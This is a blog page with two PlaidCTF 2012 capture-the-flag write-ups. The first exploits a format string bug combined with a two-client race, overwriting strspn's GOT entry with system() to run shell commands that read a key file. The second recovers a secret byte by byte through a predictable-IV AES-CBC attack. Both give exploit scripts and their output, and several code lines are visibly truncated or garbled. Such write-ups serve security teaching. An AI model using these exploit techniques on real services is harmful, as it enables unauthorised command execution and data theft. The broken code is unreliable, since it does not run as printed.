code hacking, zen coding


PlaidCTF 2012 – Pwnables 300 – Chest Writeup

Posted by aXs

Robots are running secret service that aims to mill down diamonds into fairy dust, and use it to take over our world! Help us please!

In this challenge we have a telnet interface to a nice chest that can store an item, remove an item or view the list of stored items.

Welcome to the Adventurers' storage room!
If you don't yet have a personal chest, you can use this one: XXXXFJ4bO1
Which chest to you wish to access? [XXXXFJ4bO1]:
Using chest XXXXFJ4bO1

What do you want to do?

[1] View items
[2] Store an item
[3] Take an item
[4] Leave
[5] Destroy the chest
> Choose an option:

After disassembling the binary, we see that there is a format string vulnerability in the "View items" function.

    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);

The name of the item is used as format to dprintf. So easy right ? Not so fast...

There is a function that filter heavily user input based on a whitelist:

  n = strspn(src, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&-+ ");

The percent character is of course not whitelisted so we cannot send a format string.

To exploit this vulnerability, we need to combine it with another design conception error: when you connect to the service, you can input the name of the chest you want to open.

The error is that if you connect simultaneously 2 clients, ask both clients to open the same chest and use the destroy chest function in one client, the other client will malfunction in a very interesting way.

Rember this read loop for viewing the items ?

    v0 = sub_8048C7B(dword_804AC90, &v2, 499, 0);
    dprintf(fd, (const char *)&v2);
int __cdecl sub_8048C7B(int fd, void *a2, int a3, char a4)
  char v4; // al@3
  char v5; // al@7
  void *buf; // [sp+28h] [bp-10h]@1
  ssize_t v8; // [sp+2Ch] [bp-Ch]@2

  buf = a2;
    v5 = a3-- != 0;
    if ( !v5 )
    v8 = read(fd, buf, 1u); // will return 0
    if ( v8 != 1 ) // will pass
      if ( v8 ) // will not pass
      return buf - a2; // will return buf left untouched!
    v4 = *(_BYTE *)buf == a4;
    buf = (char *)buf + 1;
  while ( !v4 );
  return buf - a2;

As you can see, as the chest has been destroyed, read() will fail to read anything and the function will return leaving the buffer untouched... untouched means with its previous content... and this function is also used to read the name of the item:

  dprintf(fd, "> Store what item? ");
  src[sub_8048C7B(fd, (void *)src, 499, 10)] = 0;

So to exploit this we need:
- Connect 2 clients
- Choose the same chest in both clients
- Destroy the chest using one client
- With the client left, store an item with our format string vulnerability
- List the chest content, this will trigger the format string
- An additional action to get the flag (see below)

After reviewing my options, I noticed system() is already part of the GOT table so I will try to overwrite strspn's GOT entry so that an unfiltered string can be used as the system() parameter.

For this, I used hellman's highly recommended libformatstr library which makes format string building very easy.

#!/usr/bin/env python
# -*- coding: latin-1 -*-

import socket
import sys
import re
from libformatstr import FormatStr

if len(sys.argv) != 3:
  print '\nUsage:\t./ [host] [port]'

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

fs = s.makefile()

print 'Client1 Banner1', fs.readline()
print 'Client1 Banner2', fs.readline()

chest = fs.readline()

regex = re.compile("Using chest (.*)")
r =
chest = r.groups()[0]

print 'Chest', chest

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, port))

fs2 = s2.makefile()

print 'Client2 Banner1', fs2.readline()
print 'Client2 Banner2', fs2.readline()

s2.send('%s\n' %chest);

# destroy chest
for i in range(1,9):

# add item to chest
for i in range(1,10):

addr = 0x0804abf0 # strspn()
got = [0x08048796] # system()
p = FormatStr()
p[addr] = got

payload = p.payload(7, start_len=4)

# we start the payload with a non-whitelisted char so that the NUL byte
# is put at the beginning of the string
s2.send('____' + payload + '\n')
print 'Client2 Result Store', fs2.readline()

# view chest content
for i in range(1,9):

# strspn() is now system()
# fd 4 is our socket
s2.send('ls -la>&4 ; cat key>&4\n')

while 1:
  line = s2.recv(4096)
  if not line:
  print 'Client2 Received', repr(line)



Running our exploit we get (some garbage removed from the beginning):

total 28
drwxr-xr-x 2 root root 4096 Apr 28 04:36 .
drwxr-xr-x 3 root root 4096 Apr 27 19:27 ..
-rwxr-xr-x 1 root root 8564 Apr 27 19:27 chest
lrwxrwxrwx 1 root root 3 Apr 28 04:36 flag -> key
-rw-r--r-- 1 root root 24 Apr 27 03:48 key
-rwxr-xr-x 1 root root 41 Apr 27 19:27

The key is: lemons_are_in_the_chest


PlaidCTF 2012 – Password Guessing 300 – Encryption Service Writeup

Posted by aXs

We found the source code for this robot encryption service, except the key was redacted from it. The service is currently running at

import os
import struct
import SocketServer
from Crypto.Cipher import AES

ENCRYPT_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.decode('hex')
# Character set: lowercase letters and underscore
PROBLEM_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'


def pad(data, blocksize):
    l = blocksize - (len(data) % blocksize)
    return data + chr(l) * l

def encrypt(data, iv):
    aes =, AES.MODE_CBC, iv)
    return aes.encrypt(pad(data, BLOCK_SIZE))

class ProblemHandler(SocketServer.StreamRequestHandler):
    def handle(self):
        iv = os.urandom(16)
        while True:
            data =
            if not data:

                length = struct.unpack('I', data)[0]
                if length > 4096:
                data =
                data += PROBLEM_KEY
                ciphertext = encrypt(data, iv)
                iv = ciphertext[-16:]
                self.wfile.write(struct.pack('I', len(ciphertext)))

class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer):
    allow_reuse_address = True

if __name__ == '__main__':
    HOST = ''
    PORT = 4433
    SocketServer.TCPServer.allow_reuse_address = True
    server = ReusableTCPServer((HOST, PORT), ProblemHandler)

In this challenge, we can submit strings to a python service, these strings will be used as plaintext for an AES encryption. The challenge flag is appended to our plaintext.

We notice 2 things:
- We control the plaintext prefix
- We know the IV before sending our plaintext

This is a recipe for disaster as explained in various papers since 2001
- TLS IV CBC attack:
- SSL BEAST attack:

The main point is that since we know the IV before sending our plaintext.

How to proceed:
- Make the IV a fixed value: send Plaintext = IV -> C = AES(P ^ IV) -> C = AES(IV ^ IV) -> C = AES(0) -> IV = fixed value
- Send plaintext 'A' * 15 : Since block size is 16, the first byte of the flag get appended to our plaintext in this block, we keep the returned block as a reference block
- Make the IV a fixed value (same as above)
- Send plaintext 'A' * 15 + chr(a) : if our guess chr(a) is the same char than the first char of the flag, the very same block that our reference block will be returned!

It's even easier as the service allow us to chain packets ad infinitum.

#!/usr/bin/env python
# -*- coding: latin-1 -*-

import sys
import socket
import struct

PROBLEM_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
CHARSET = "etainosrldhcumfpygwvbkxjqz_"

def send_packet(s, data):
  s.send(struct.pack('I', len(data)))

def recv_packet(s):
  return s.recv(struct.unpack('I', s.recv(4))[0])

def do_block(s, iv, offset, payload):
  send_packet(s, iv)
  recv_payload = recv_packet(s)

  payload = 'A' * (BLOCK_SIZE - (offset % BLOCK_SIZE)) + payload

  send_packet(s, payload)
  recv_payload = recv_packet(s)

  block_offset = offset / BLOCK_SIZE * BLOCK_SIZE

  return recv_payload[-16:], recv_payload[block_offset : block_offset + BLOCK_SIZE ]

if len(sys.argv) != 3:
  print '\nUsage:\t./ [host] [port]'

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

iv = s.recv(16)

print 'Initial IV', iv.encode("hex")

key = '';

for i in xrange(1, len(PROBLEM_KEY) + 1):

  iv, ref_block = do_block(s, iv, i, '')

  print 'Reference block', i, ref_block.encode("hex")

  for char in CHARSET:
    iv, block = do_block(s, iv, i, key + char)

    if ref_block == block:
      key += char
      print 'Adding char', char, 'to key', key

print 'Key', key


$ python 4433
Initial IV 4bd8f3081acbc15928dda4361d65c176
Reference block 1 c7da9a9e5c7df566c7d1c78c7f958708
Adding char p to key p
Reference block 2 c342bac54efbefea7dbd6b2c07be73fe
Adding char r to key pr
Reference block 3 8c65858c5fcbdf5cbcc7e813a47cdaf7
Adding char e to key pre
Reference block 4 9bc925111eabd7110a9c5ba6fd68d15d
Adding char d to key pred
Reference block 5 d039728634a56052c00555a4dfa031e9
Adding char i to key predi
Reference block 6 bd60a3b4c56bb52b0adb190a88f9908e
Adding char c to key predic
Reference block 7 ba22638ee7cbbf30e7473a1855c85ae5
Adding char t to key predict
Reference block 8 b4bac8637ea67d3acbdaebd628e83757
Adding char a to key predicta
Reference block 9 c452a87a9317b42d800ee335b1325cdb
Adding char b to key predictab
Reference block 10 a19025c18c6974ab9b0bd8795e573a0a
Adding char l to key predictabl
Reference block 11 b08fb475d1fe22f0578eaeb44324ab80
Adding char e to key predictable
Reference block 12 2c49728b3c0430eba12b9eadd85aa4a3
Adding char _ to key predictable_
Reference block 13 e50682c26d6cdc97b13f7012160d1e49
Adding char i to key predictable_i
Reference block 14 005267fdb690b28bda84685e86a3416e
Adding char v to key predictable_iv
Reference block 15 c6c8cb7836bda8e3e42b77e06c1455a4
Adding char s to key predictable_ivs
Reference block 16 4b5f8094c71f51bcab515f120a32b059
Adding char _ to key predictable_ivs_
Reference block 17 cf1422daa9ccc75f921463811a3731da
Adding char a to key predictable_ivs_a
Reference block 18 7f9391c531bc0cfc807ca3d775b39718
Adding char r to key predictable_ivs_ar
Reference block 19 5229aaa4b88439f2a638f5d681dbe1d8
Adding char e to key predictable_ivs_are
Reference block 20 0506234b02a15e7bd979d99a43d1e106
Adding char _ to key predictable_ivs_are_
Reference block 21 1e9144b0c3c7c50d7f103002f6da36a3
Adding char d to key predictable_ivs_are_d
Reference block 22 5fc2881eea7170935c502d25f49976f6
Adding char a to key predictable_ivs_are_da
Reference block 23 c8a8c847ec00f510adb16b81ab21b49c
Adding char n to key predictable_ivs_are_dan
Reference block 24 7747633ede348721e6ba99f467f2f695
Adding char g to key predictable_ivs_are_dang
Reference block 25 1ea4b93c0598027d3572107a0c0d8ca0
Adding char e to key predictable_ivs_are_dange
Reference block 26 8363c6e43ba90bdbaebb22c4867770d3
Adding char r to key predictable_ivs_are_danger
Reference block 27 fcda24acc44f419b3c75b089ff44d5cc
Adding char o to key predictable_ivs_are_dangero
Reference block 28 98be810462614bebcbef42cc8f86df8f
Adding char u to key predictable_ivs_are_dangerou
Reference block 29 b4dfd749e702755a9bfb434776ec07b8
Adding char s to key predictable_ivs_are_dangerous
Key predictable_ivs_are_dangerous

The key is predictable_ivs_are_dangerous